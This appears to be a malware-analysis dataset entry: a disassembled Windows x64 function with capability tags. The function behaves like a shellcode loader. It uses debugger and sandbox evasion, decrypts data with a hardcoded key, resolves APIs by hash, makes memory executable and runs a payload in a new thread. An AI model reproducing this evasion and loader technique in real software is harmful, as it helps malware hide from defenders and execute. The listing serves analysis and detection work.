Function at 0x14001127b
Capabilities:
Enumerate files on windows
Get common file path
Terminate process

Disassembly:
jmp 0x140011d50
push rbp
push rdi
sub rsp, 0x808
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x166
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e1f8]
xor rax, rbp
mov qword [rbp + 0x7c8], rax
lea rcx, [0x140024105]
call fcn.140011393
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140011dc4
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140011de4
lea rcx, str.attached_debugger_detected_:__n
call fcn.140011401
mov eax, 0xfffffffe
jmp 0x140012157
call fcn.1400112b2
test eax, eax
jne 0x140011e03
lea rcx, str.possibly_launched_in_sandbox_:__n
call fcn.140011401
mov eax, 0xfffffffe
jmp 0x140012157
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rbp + 0x2f4], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0xffffffffffffffff
je 0x140011e88
mov eax, dword [rbp + 0x1a0]
and eax, 0x10
test eax, eax
jbe 0x140011e63
mov eax, dword [rbp + 0x2f4]
inc eax
mov dword [rbp + 0x2f4], eax
lea rdx, [rbp + 0x1a0]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140011e48
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [rbp + 0x2f4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
cmp dword [rbp + 0x2f4], 0
jne 0x140011eac
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140011ebe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rbp + 0x374], 0
mov eax, dword [0x14001e128]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e118]
call fcn.1400111b3
lea rax, [0x14001e118]
mov qword [rbp + 0x398], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x3b8], rax
mov edx, 0x3283c47
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b20
mov qword [rbp + 0x3d8], rax
mov edx, 0x964f1ef
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b20
mov qword [rbp + 0x3f8], rax
mov edx, 0x1c6a5211
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b20
mov qword [rbp + 0x418], rax
mov edx, 0x2f726bf
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b20
mov qword [rbp + 0x438], rax
mov edx, 0xaf757dae
mov rcx, qword [rbp + 0x3b8]
call fcn.140011b20
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x14001e114]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0x478]
mov qword [rbp + 0x318], rax
mov eax, dword [0x14001e114]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, section..data
call fcn.1400111b3
mov eax, dword [0x14001e12c]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e130]
call fcn.1400111b3
lea rax, [0x14001e130]
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001e114]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 0x318]
call qword [rbp + 0x498]
mov eax, dword [0x14001e150]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e140]
call fcn.1400111b3
lea rax, [0x14001e140]
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001e154]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e158]
call fcn.1400111b3
lea rax, [0x14001e158]
mov qword [rbp + 0x558], rax
mov eax, dword [0x14001e17c]
mov r9d, 0x11
lea r8, str.mysupersecretkey
mov edx, eax
lea rcx, [0x14001e168]
call fcn.1400111b3
lea rax, [0x14001e168]
mov qword [rbp + 0x578], rax
mov eax, dword [0x14001e114]
lea r9, [rbp + 0x374]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x318]
call qword [rbp + 0x4b8]
mov dword [rbp + 0x334], eax
cmp dword [rbp + 0x334], 0
je 0x140012155
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x318]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x4d8]
mov qword [rbp + 0x358], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x358]
call qword [rbp + 0x4f8]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bb90]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x7c8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x7d8]
pop rdi
pop rbp
ret